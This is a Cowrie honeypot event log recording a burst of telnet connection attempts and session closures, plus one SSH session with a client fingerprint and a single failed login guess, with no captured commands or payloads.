{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57194,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3dafdf068e","protocol":"telnet","message":"New connection: 202.91.32.11:57194 (159.203.135.109:23) [session: ec3dafdf068e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.272570Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.358433Z","src_ip":"78.134.49.171","session":"f4c557424e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d305de3ca49","protocol":"telnet","message":"New connection: 202.91.32.11:57196 (159.203.135.109:23) [session: 8d305de3ca49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.469104Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57208,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1c450132bc7","protocol":"telnet","message":"New connection: 202.91.32.11:57208 (159.203.135.109:23) [session: e1c450132bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.585476Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"1878ecb82988","protocol":"telnet","message":"New connection: 202.91.32.11:57218 (159.203.135.109:23) [session: 1878ecb82988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.660338Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"oracle123456789","message":"login attempt [postgres/oracle123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:35.822316Z","src_ip":"78.134.49.171","session":"f4c557424e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57228,"dst_ip":"159.203.135.109","dst_port":23,"session":"75bbf9dbcc8e","protocol":"telnet","message":"New connection: 202.91.32.11:57228 (159.203.135.109:23) [session: 75bbf9dbcc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:36.633455Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:36.981105Z","src_ip":"78.134.49.171","session":"f4c557424e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57244,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba9fa4f0530","protocol":"telnet","message":"New connection: 202.91.32.11:57244 (159.203.135.109:23) [session: 5ba9fa4f0530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:37.056039Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57248,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3e9627c065","protocol":"telnet","message":"New connection: 202.91.32.11:57248 (159.203.135.109:23) [session: bf3e9627c065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:37.440572Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57256,"dst_ip":"159.203.135.109","dst_port":23,"session":"804fec7e2839","protocol":"telnet","message":"New connection: 202.91.32.11:57256 (159.203.135.109:23) [session: 804fec7e2839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:37.507084Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57264,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6af4b2a1ced","protocol":"telnet","message":"New connection: 202.91.32.11:57264 (159.203.135.109:23) [session: f6af4b2a1ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:37.518192Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57274,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee98aed20244","protocol":"telnet","message":"New connection: 202.91.32.11:57274 (159.203.135.109:23) [session: ee98aed20244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:38.637388Z"}
{"eventid":"cowrie.session.closed","duration":31.160282850265503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:38.790847Z","src_ip":"202.91.32.11","session":"486f244c8c56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57284,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb0b3ad71b3","protocol":"telnet","message":"New connection: 202.91.32.11:57284 (159.203.135.109:23) [session: 4eb0b3ad71b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:38.896492Z"}
{"eventid":"cowrie.session.closed","duration":31.06173324584961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:39.375688Z","src_ip":"202.91.32.11","session":"976609969bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.505582094192505,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:39.595123Z","src_ip":"45.63.42.31","session":"e0ebd7af6212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57286,"dst_ip":"159.203.135.109","dst_port":23,"session":"44cb422bba28","protocol":"telnet","message":"New connection: 202.91.32.11:57286 (159.203.135.109:23) [session: 44cb422bba28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:39.605385Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"9297d0fd2949","protocol":"telnet","message":"New connection: 202.91.32.11:57298 (159.203.135.109:23) [session: 9297d0fd2949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:41.926669Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57302,"dst_ip":"159.203.135.109","dst_port":23,"session":"7796da4dac76","protocol":"telnet","message":"New connection: 202.91.32.11:57302 (159.203.135.109:23) [session: 7796da4dac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:42.624442Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55778,"dst_ip":"159.203.135.109","dst_port":23,"session":"39d8e64597c8","protocol":"telnet","message":"New connection: 202.91.32.11:55778 (159.203.135.109:23) [session: 39d8e64597c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:42.765567Z"}
{"eventid":"cowrie.session.closed","duration":30.19204878807068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:43.148768Z","src_ip":"202.91.32.11","session":"6c02ad296c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55790,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d55df6da969","protocol":"telnet","message":"New connection: 202.91.32.11:55790 (159.203.135.109:23) [session: 7d55df6da969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.009379Z"}
{"eventid":"cowrie.session.closed","duration":30.85267210006714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.065290Z","src_ip":"202.91.32.11","session":"1300d23867fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58192,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b629ee7313","protocol":"telnet","message":"New connection: 45.63.42.31:58192 (10.17.0.5:23) [session: 07b629ee7313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.149908Z"}
{"eventid":"cowrie.session.closed","duration":30.915446519851685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.510394Z","src_ip":"202.91.32.11","session":"72a9cadf5596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5b7b842b8c1","protocol":"telnet","message":"New connection: 45.63.42.31:58826 (10.17.0.5:23) [session: b5b7b842b8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.515954Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55798,"dst_ip":"159.203.135.109","dst_port":23,"session":"d18f30aaf43f","protocol":"telnet","message":"New connection: 202.91.32.11:55798 (159.203.135.109:23) [session: d18f30aaf43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.668384Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"63fbcd561c36","protocol":"telnet","message":"New connection: 202.91.32.11:55806 (159.203.135.109:23) [session: 63fbcd561c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.684660Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55810,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeffbdbb00e2","protocol":"telnet","message":"New connection: 202.91.32.11:55810 (159.203.135.109:23) [session: eeffbdbb00e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:44.980469Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55812,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf40143cfd8","protocol":"telnet","message":"New connection: 202.91.32.11:55812 (159.203.135.109:23) [session: 5cf40143cfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:45.061763Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58650,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc7da86a180b","protocol":"telnet","message":"New connection: 45.63.42.31:58650 (10.17.0.5:23) [session: cc7da86a180b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:45.406087Z"}
{"eventid":"cowrie.session.closed","duration":31.40933632850647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:45.702353Z","src_ip":"202.91.32.11","session":"ea42fcba3e69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55826,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01e8add3dfb","protocol":"telnet","message":"New connection: 202.91.32.11:55826 (159.203.135.109:23) [session: a01e8add3dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:46.392181Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55836,"dst_ip":"159.203.135.109","dst_port":23,"session":"11aa9c592f5e","protocol":"telnet","message":"New connection: 202.91.32.11:55836 (159.203.135.109:23) [session: 11aa9c592f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:46.413957Z"}
{"eventid":"cowrie.session.closed","duration":30.674009561538696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:46.448440Z","src_ip":"202.91.32.11","session":"0294382e2af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55848,"dst_ip":"159.203.135.109","dst_port":23,"session":"e60d2f0f26bb","protocol":"telnet","message":"New connection: 202.91.32.11:55848 (159.203.135.109:23) [session: e60d2f0f26bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:46.933540Z"}
{"eventid":"cowrie.session.closed","duration":30.3049533367157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:47.071495Z","src_ip":"202.91.32.11","session":"4254f3b9adfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55858,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e5fdd0387f","protocol":"telnet","message":"New connection: 202.91.32.11:55858 (159.203.135.109:23) [session: f2e5fdd0387f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:47.190232Z"}
{"eventid":"cowrie.session.closed","duration":30.95592951774597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:47.324596Z","src_ip":"202.91.32.11","session":"913bf7558bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9527153968811,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:47.449481Z","src_ip":"45.63.42.31","session":"6d9823a36fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.792700052261353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:47.950483Z","src_ip":"202.91.32.11","session":"4a2a5df42d44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11904239654541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:47.955436Z","src_ip":"202.91.32.11","session":"c2c3ca00d8b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0854ec1d6ce3","protocol":"telnet","message":"New connection: 202.91.32.11:55860 (159.203.135.109:23) [session: 0854ec1d6ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:48.397235Z"}
{"eventid":"cowrie.session.closed","duration":35.40302324295044,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:48.687016Z","src_ip":"45.63.42.31","session":"bce1268dc3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.148534059524536,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:48.728516Z","src_ip":"45.63.42.31","session":"ceb82fd224c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427269220352173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:49.054493Z","src_ip":"202.91.32.11","session":"5c7735564fa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836870670318604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:49.502744Z","src_ip":"202.91.32.11","session":"43cd3365ece3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55862,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc39d4a6ba18","protocol":"telnet","message":"New connection: 202.91.32.11:55862 (159.203.135.109:23) [session: fc39d4a6ba18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:49.746226Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55868,"dst_ip":"159.203.135.109","dst_port":23,"session":"253638cb7148","protocol":"telnet","message":"New connection: 202.91.32.11:55868 (159.203.135.109:23) [session: 253638cb7148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:49.754048Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55872,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd414ee3ad2","protocol":"telnet","message":"New connection: 202.91.32.11:55872 (159.203.135.109:23) [session: 5dd414ee3ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:50.118255Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55876,"dst_ip":"159.203.135.109","dst_port":23,"session":"81f6c018114f","protocol":"telnet","message":"New connection: 202.91.32.11:55876 (159.203.135.109:23) [session: 81f6c018114f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:50.253659Z"}
{"eventid":"cowrie.session.closed","duration":32.912286043167114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:50.330520Z","src_ip":"202.91.32.11","session":"624468b35703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86291742324829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:50.900064Z","src_ip":"202.91.32.11","session":"113797eba11d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55878,"dst_ip":"159.203.135.109","dst_port":23,"session":"317486c25f28","protocol":"telnet","message":"New connection: 202.91.32.11:55878 (159.203.135.109:23) [session: 317486c25f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:51.444139Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55886,"dst_ip":"159.203.135.109","dst_port":23,"session":"a47b1845e14e","protocol":"telnet","message":"New connection: 202.91.32.11:55886 (159.203.135.109:23) [session: a47b1845e14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:51.557202Z"}
{"eventid":"cowrie.session.closed","duration":31.93409276008606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:51.614159Z","src_ip":"202.91.32.11","session":"d1a8b99a1e02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55902,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9f2af9bff4e","protocol":"telnet","message":"New connection: 202.91.32.11:55902 (159.203.135.109:23) [session: e9f2af9bff4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:52.311577Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55912,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c51014803f","protocol":"telnet","message":"New connection: 202.91.32.11:55912 (159.203.135.109:23) [session: 44c51014803f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:52.333010Z"}
{"eventid":"cowrie.session.closed","duration":30.53300404548645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:52.342804Z","src_ip":"202.91.32.11","session":"5358cfd130f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55928,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec60e90a14b7","protocol":"telnet","message":"New connection: 202.91.32.11:55928 (159.203.135.109:23) [session: ec60e90a14b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:52.413733Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e7331ca28c","protocol":"telnet","message":"New connection: 202.91.32.11:55934 (159.203.135.109:23) [session: e0e7331ca28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:52.434532Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54794,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ff4405e0dda","protocol":"telnet","message":"New connection: 202.91.32.11:54794 (159.203.135.109:23) [session: 3ff4405e0dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:52.982189Z"}
{"eventid":"cowrie.session.closed","duration":31.601606369018555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:53.187294Z","src_ip":"202.91.32.11","session":"3e93ebaf8bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54806,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c2eb69c068f","protocol":"telnet","message":"New connection: 202.91.32.11:54806 (159.203.135.109:23) [session: 2c2eb69c068f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:53.292836Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54822,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec3fab39f59","protocol":"telnet","message":"New connection: 202.91.32.11:54822 (159.203.135.109:23) [session: 9ec3fab39f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:53.972080Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54838,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cd9484bf254","protocol":"telnet","message":"New connection: 202.91.32.11:54838 (159.203.135.109:23) [session: 9cd9484bf254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:54.271568Z"}
{"eventid":"cowrie.session.closed","duration":34.75403809547424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:54.425710Z","src_ip":"45.63.42.31","session":"e292ef7a5798","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54889130592346,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:54.433143Z","src_ip":"45.63.42.31","session":"33fde8b7b98f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1991708278656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:55.077002Z","src_ip":"202.91.32.11","session":"f8aa44db4a46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54850,"dst_ip":"159.203.135.109","dst_port":23,"session":"766fa3500e5b","protocol":"telnet","message":"New connection: 202.91.32.11:54850 (159.203.135.109:23) [session: 766fa3500e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:55.357063Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54852,"dst_ip":"159.203.135.109","dst_port":23,"session":"08917ec44aa2","protocol":"telnet","message":"New connection: 202.91.32.11:54852 (159.203.135.109:23) [session: 08917ec44aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:55.701970Z"}
{"eventid":"cowrie.session.closed","duration":31.10619878768921,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:55.768399Z","src_ip":"202.91.32.11","session":"5eefed64c04f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9009804725647,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:55.804756Z","src_ip":"103.115.172.252","session":"603176a32166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"42bec8a1885a","protocol":"telnet","message":"New connection: 202.91.32.11:54866 (159.203.135.109:23) [session: 42bec8a1885a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:56.095651Z"}
